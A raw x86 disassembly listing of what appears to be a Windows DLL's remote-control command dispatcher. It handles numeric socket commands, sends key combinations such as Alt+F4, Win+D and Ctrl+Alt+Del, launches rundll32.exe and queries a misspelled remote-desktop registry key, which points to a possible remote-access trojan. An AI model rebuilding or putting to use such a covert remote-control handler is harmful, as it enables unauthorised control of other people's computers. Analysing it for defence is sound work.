mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100276a5
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x10027c7c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100276bd
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100dcd83
push dword [ebp - 0x4c]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10027704
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x10027768
push reloc.WS2_32.dll_connect
push 0
push str.110073
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10027763
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x10027c7c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002777b
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x4c], eax
push str.win7
push dword [ebp - 0x4c]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100277c2
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x10027826
push reloc.WS2_32.dll_connect
push 0
push str.110074
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10027821
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x10027c7c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10027839
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x4c], eax
push str.AltF4
push dword [ebp - 0x4c]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10027880
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x100278e4
push reloc.WS2_32.dll_connect
push 0
push str.110068
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100278df
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x10027c7c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100278f7
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100dcda0
push dword [ebp - 0x4c]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002793e
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x100279a2
push reloc.WS2_32.dll_connect
push 0
push str.110070
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002799d
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x10027c7c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100279b5
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x4c], eax
push str.WinD
push dword [ebp - 0x4c]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100279fc
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x10027a60
push reloc.WS2_32.dll_connect
push 0
push str.110069
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10027a5b
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x10027c7c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10027a73
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x4c], eax
push str.CAD
push dword [ebp - 0x4c]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10027aba
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x10027afe
call fcn.1002e8cf
mov ebx, 6
call fcn.10005656
push reloc.WS2_32.dll_getsockname
push 0
push 0x1003d2f2
push 3
mov ebx, 0
mov eax, 0x100b7880
call fcn.100acb10
add esp, 0x28
jmp 0x10027c7c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10027b11
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100dcdb5
push dword [ebp - 0x44]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10027b55
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x10027c7c
push reloc.WS2_32.dll_connect
push 0
push str.555555
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10027bb1
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
lea eax, [ebp - 4]
push eax
mov eax, str.rundll32.exe
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.10011f39
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10027be2
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 4]
call fcn.10002428
xor ecx, ecx
push eax
lea eax, [ebp - 8]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x10027c79
mov ebx, dword [ebp - 4]
call fcn.10001d16
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x10027c28
push 0x135e
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10027c45
push 0x135e
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 1
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.100033ab
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
push 1
push 0xa
call fcn.1000344a
pop eax
pop ebx
pop ecx
jmp 0x10027bf3
add esp, 0xc
jmp 0x1002dd78
push str.400004
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10027d17
push reloc.WS2_32.dll_connect
push 0
push str.444444
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000565e
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10027ce1
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10027d12
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.500005
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x100281db
push reloc.WS2_32.dll_connect
push 0
push 0x100dcdcc
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
xor ecx, ecx
test eax, eax
je 0x10027d5d
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov eax, dword [ebp - 0x14]
xor ebx, ebx
test eax, eax
je 0x10027d6e
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x10027d85
dec eax
test ecx, ecx
je 0x10027d85
call fcn.10015cb4
add esp, 0xc
test eax, eax
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10027da5
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x10027e2a
call fcn.1002e9bf
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10027dca
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10027df0
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x48]
push eax
mov eax, str.500005
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10027e15
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10027e25
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x100281d6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10027e3d
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d43a1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10027e78
mov eax, 0x100d424e
push eax
push 3
mov ebx, 0x190
call fcn.100ad930
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10027e9e
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10027ec0
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10027ebc
imul eax, dword [ebx]
jmp 0x10027eb1
mov ecx, eax
test ecx, ecx
je 0x10027edf
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x10027ed8
push ebx
push eax
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10027ec6
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10002428
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jne 0x100281d6
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 0
cmp eax, ecx
jl 0x10027f28
push 0x15d0
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100dcdd9
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10028067
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x10027f73
push 0x1623
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x10027f90
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ad5c0
add esp, 0x10
push eax
call fcn.10031668
test eax, eax
je 0x1002800c
push reloc.WS2_32.dll_connect
push 0
push 0x100dcde2
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.500005
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10027ff7
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10028007
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x10028062
push reloc.WS2_32.dll_connect
push 0
push 0x100dcdef
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.500005
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10028052
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10028062
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x100281d6
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 0
cmp eax, ecx
jl 0x1002808f
push 0x16e8
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100dcdfc
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10028121
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x100280da
push 0x1729
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x100280f7
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ad5c0
add esp, 0x10
mov dword [ebp - 0x48], eax
push 1
push 1
push dword [ebp - 0x48]
call fcn.100316a2
jmp 0x100281d6
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 0
cmp eax, ecx
jl 0x10028149
push 0x1760
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x4c], ebx
push 0x100dce05
mov ebx, dword [ebp - 0x4c]
push dword [ebx]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x100281d6
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x10028194
push 0x17a1
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x100281b1
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ad5c0
add esp, 0x10
mov dword [ebp - 0x48], eax
push 1
push 0
push dword [ebp - 0x48]
call fcn.100316a2
jmp 0x1002dd78
push str.600006
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x100288fd
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10028207
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d43a1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10028242
mov eax, 0x100d424e
push eax
push 3
mov ebx, 0x190
call fcn.100ad930
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10028268
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1002828a
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10028286
imul eax, dword [ebx]
jmp 0x1002827b
mov ecx, eax
test ecx, ecx
je 0x100282a9
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x100282a2
push ebx
push eax
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10028290
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 0
cmp eax, ecx
jl 0x100282dd
push 0x18ae
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100d43a9
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002837b
call fcn.10031784
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002831b
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10028341
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x48]
push eax
mov eax, str.600006
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10028366
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10028376
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x100288f8
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 0
cmp eax, ecx
jl 0x100283a3
push 0x1927
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x50], ebx
push 0x100d43cd
mov ebx, dword [ebp - 0x50]
push dword [ebx]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10028537
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x100283f4
push 0x1978
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x10028424
push 0x19b0
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x48], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x48]
mov eax, dword [ebx]
test eax, eax
jne 0x10028441
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.10031c81
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10028476
push ebx
call fcn.100abdd7
add esp, 4
push dword [ebp - 0x50]
push 0x100d43a1
mov ebx, dword [ebp - 0x44]
push dword [ebx]
mov ecx, 3
call fcn.100010a5
add esp, 0xc
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x100284ac
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x54]
test eax, eax
jne 0x100284c2
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x100284ee
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x58]
push eax
mov eax, str.600006
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x5c]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x1002851f
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x10028532
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x100288f8
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 0
cmp eax, ecx
jl 0x1002855f
push 0x19e7
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x60], ebx
push 0x100d43c9
mov ebx, dword [ebp - 0x60]
push dword [ebx]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002864c
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x100285b0
push 0x1a41
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100dce15
mov ebx, dword [ebp - 0x44]
push dword [ebx]
push str.666666
mov ecx, 3
call fcn.100010a5
add esp, 0xc
mov dword [ebp - 0x48], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x100285ea
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10028610
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x50], 0
push 0
push dword [ebp - 0x50]
lea eax, [ebp - 0x4c]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10028647
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x100288f8
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 0
cmp eax, ecx
jl 0x10028674
push 0x1a83
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x54], ebx
push 0x100d43c5
mov ebx, dword [ebp - 0x54]
push dword [ebx]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10028761
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x100286c5
push 0x1add
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100dce18
mov ebx, dword [ebp - 0x44]
push dword [ebx]
push str.666666
mov ecx, 3
call fcn.100010a5
add esp, 0xc
mov dword [ebp - 0x48], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x100286ff
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10028725
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x50], 0
push 0
push dword [ebp - 0x50]
lea eax, [ebp - 0x4c]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002875c
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x100288f8
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 0
cmp eax, ecx
jl 0x10028789
push 0x1b1f
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x54], ebx
push 0x100d43c1
mov ebx, dword [ebp - 0x54]
push dword [ebx]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x100288f8
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.softwaremicrosoft_remotoDesktop_
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x698
call fcn.100b0170
add esp, 0x28
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.softwaremicrosoft_remotoDesktop_
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x698
call fcn.100b0170
add esp, 0x28
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.10031c81
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10028834
push ebx
call fcn.100abdd7
add esp, 4
push dword [ebp - 0x4c]
push 0x100d43a1
push dword [ebp - 0x44]
mov ecx, 3
call fcn.100010a5
add esp, 0xc
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10028862
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10028872
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x10028888
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x100288b4
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x54]
push eax
mov eax, str.600006
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x58]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x100288e5
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x100288f8
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.700007
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10028dcd
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10028935
mov eax, 0x100d42b8
push eax
push 2
mov ebx, 0x1a0
call fcn.100ad2f0
add esp, 0x1c
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10028970
mov eax, 0x100d42b8
push eax
push 3
mov ebx, 0x19c
call fcn.100ad420
add esp, 0x28
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], ecx
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002899f
push ebx
call fcn.100abdd7
add esp, 4
mov ecx, dword [ebp - 0x48]
cmp ecx, reloc.WS2_32.dll_connect
je 0x100289c1
push 0x1cb1
push 0x403116f
push 5
call fcn.100abddd
add esp, 0xc
mov eax, dword [ebp - 0x50]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x100289d8
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 0x100dce45
push dword [ebp - 0x20]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10028c5a
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10028a08
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x194
call fcn.100ad2e0
add esp, 0x10
mov dword [ebp - 0x4c], eax
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x4c]
fld qword [ebp - 0x4c]
fsub qword [0x100d445e]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
call fcn.10001713
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10028a59
mov eax, 0x100d42b8
push eax
push 2
mov ebx, 0x1a4
